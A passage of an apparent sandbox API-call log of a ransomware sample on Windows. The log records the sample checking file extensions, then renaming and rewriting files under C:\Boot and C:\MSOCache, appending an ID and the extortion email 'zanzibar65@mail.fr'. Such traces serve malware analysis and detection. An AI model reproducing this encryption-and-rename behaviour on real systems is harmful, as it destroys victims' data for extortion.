(lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.182] lstrlenW (lpString=".1cd") returned 4 [0033.182] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.182] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0033.182] lstrlenW (lpString=".jpg") returned 4 [0033.182] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.182] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.182] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.182] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.182] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=85056) returned 1 [0033.182] CloseHandle (hObject=0x160) returned 1 [0033.182] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0033.182] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.182] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.182] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.182] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.182] lstrlenW (lpString=".doc") returned 4 [0033.182] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.182] lstrlenW (lpString=".docx") returned 5 [0033.183] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.183] lstrlenW (lpString=".pdf") returned 4 [0033.183] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.183] lstrlenW (lpString=".xls") returned 4 [0033.183] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.183] lstrlenW (lpString=".xlsx") returned 5 [0033.183] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.183] lstrlenW (lpString=".ppt") returned 4 [0033.183] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.183] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.183] lstrlenW (lpString=".zip") returned 4 [0033.183] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.183] lstrlenW (lpString=".rar") returned 4 [0033.183] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.183] lstrlenW (lpString=".bz2") returned 4 [0033.183] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.183] lstrlenW (lpString=".7z") returned 3 [0033.183] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.183] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.183] lstrlenW (lpString=".dbf") returned 4 [0033.183] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.183] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.183] lstrlenW (lpString=".1cd") returned 4 [0033.183] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.183] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.183] lstrlenW (lpString=".jpg") returned 4 [0033.183] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.183] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.183] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.183] lstrlenW (lpString=".doc") returned 4 [0033.183] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.183] lstrlenW (lpString=".docx") returned 5 [0033.183] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.183] lstrlenW (lpString=".pdf") returned 4 [0033.184] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.184] lstrlenW (lpString=".xls") returned 4 [0033.184] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.184] lstrlenW (lpString=".xlsx") returned 5 [0033.184] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.184] lstrlenW (lpString=".ppt") returned 4 [0033.184] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.184] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.184] lstrlenW (lpString=".zip") returned 4 [0033.184] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.184] lstrlenW (lpString=".rar") returned 4 [0033.184] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.184] lstrlenW (lpString=".bz2") returned 4 [0033.184] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.184] lstrlenW (lpString=".7z") returned 3 [0033.184] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.184] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.184] lstrlenW (lpString=".dbf") returned 4 [0033.184] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.184] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.184] lstrlenW (lpString=".1cd") returned 4 [0033.184] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.184] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.184] lstrlenW (lpString=".jpg") returned 4 [0033.184] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.184] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.184] lstrlenW (lpString="memtest.exe.mui") returned 15 [0033.184] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.185] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=43600) returned 1 [0033.185] CloseHandle (hObject=0x160) returned 1 [0033.185] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0033.185] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.185] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.185] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.185] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.185] lstrlenW (lpString=".doc") returned 4 [0033.185] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.185] lstrlenW (lpString=".docx") returned 5 [0033.185] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.185] lstrlenW (lpString=".pdf") returned 4 [0033.185] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.185] lstrlenW (lpString=".xls") returned 4 [0033.185] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.185] lstrlenW (lpString=".xlsx") returned 5 [0033.185] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.185] lstrlenW (lpString=".ppt") returned 4 [0033.185] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.185] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.185] lstrlenW (lpString=".zip") returned 4 [0033.185] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.185] lstrlenW (lpString=".rar") returned 4 [0033.185] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.186] lstrlenW (lpString=".bz2") returned 4 [0033.186] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.186] lstrlenW (lpString=".7z") returned 3 [0033.186] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.186] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.186] lstrlenW (lpString=".dbf") returned 4 [0033.186] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.186] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.186] lstrlenW (lpString=".1cd") returned 4 [0033.186] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.186] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.186] lstrlenW (lpString=".jpg") returned 4 [0033.186] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.186] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.186] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.186] lstrlenW (lpString=".doc") returned 4 [0033.186] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.186] lstrlenW (lpString=".docx") returned 5 [0033.186] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.186] lstrlenW (lpString=".pdf") returned 4 [0033.186] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.186] lstrlenW (lpString=".xls") returned 4 [0033.186] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.186] lstrlenW (lpString=".xlsx") returned 5 [0033.186] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.186] lstrlenW (lpString=".ppt") returned 4 [0033.186] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.186] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.186] lstrlenW (lpString=".zip") returned 4 [0033.186] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.186] lstrlenW (lpString=".rar") returned 4 [0033.186] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.186] lstrlenW (lpString=".bz2") returned 4 [0033.186] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.186] lstrlenW (lpString=".7z") returned 3 [0033.187] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.187] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.187] lstrlenW (lpString=".dbf") returned 4 [0033.187] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.187] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.187] lstrlenW (lpString=".1cd") returned 4 [0033.187] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.187] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.187] lstrlenW (lpString=".jpg") returned 4 [0033.187] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.187] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.187] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.187] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.187] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=90192) returned 1 [0033.187] CloseHandle (hObject=0x160) returned 1 [0033.187] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0033.187] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.188] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.188] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0033.188] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0033.188] lstrlenW (lpString=".doc") returned 4 [0033.188] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.188] lstrlenW (lpString=".docx") returned 5 [0033.188] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.188] lstrlenW (lpString=".pdf") returned 4 [0033.188] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.188] lstrlenW (lpString=".xls") returned 4 [0033.188] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.188] lstrlenW (lpString=".xlsx") returned 5 [0033.188] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.188] lstrlenW (lpString=".ppt") returned 4 [0033.188] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.188] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0033.188] lstrlenW (lpString=".zip") returned 4 [0033.188] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.188] lstrlenW (lpString=".rar") returned 4 [0033.188] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.188] lstrlenW (lpString=".bz2") returned 4 [0033.188] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.188] lstrlenW (lpString=".7z") returned 3 [0033.188] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.190] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=89152) returned 1 [0033.190] CloseHandle (hObject=0x160) returned 1 [0033.190] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0033.190] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.190] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.191] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3694080) returned 1 [0033.191] CloseHandle (hObject=0x160) returned 1 [0033.191] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0033.191] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.191] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0033.238] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3876772) returned 1 [0033.238] CloseHandle (hObject=0x168) returned 1 [0033.238] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0033.238] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.238] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0033.239] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1 [0033.239] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2371360) returned 1 [0033.239] CloseHandle (hObject=0x168) returned 1 [0033.239] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0033.239] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.240] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0033.240] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=47452) returned 1 [0033.240] CloseHandle (hObject=0x168) returned 1 [0033.240] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0033.240] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.240] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.240] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=93248) returned 1 [0033.240] CloseHandle (hObject=0x168) returned 1 [0033.240] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0033.241] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.241] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.241] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=90688) returned 1 [0033.241] CloseHandle (hObject=0x168) returned 1 [0033.241] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0033.241] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.241] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.241] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=90704) returned 1 [0033.241] CloseHandle (hObject=0x168) returned 1 [0033.241] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0033.241] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.242] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.242] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=76352) returned 1 [0033.242] CloseHandle (hObject=0x168) returned 1 [0033.242] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0033.242] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.242] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.242] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=75344) returned 1 [0033.242] CloseHandle (hObject=0x168) returned 1 [0033.242] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0033.242] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.242] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.140] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2506240) returned 1 [0034.140] CloseHandle (hObject=0x184) returned 1 [0034.140] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0034.140] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.140] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0034.144] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.144] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0034.144] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.144] ReadFile (in: hFile=0x184, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.151] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.151] ReadFile (in: hFile=0x184, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.163] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.163] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.163] ReadFile (in: hFile=0x184, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.182] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.182] WriteFile (in: hFile=0x184, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0034.448] SetEndOfFile 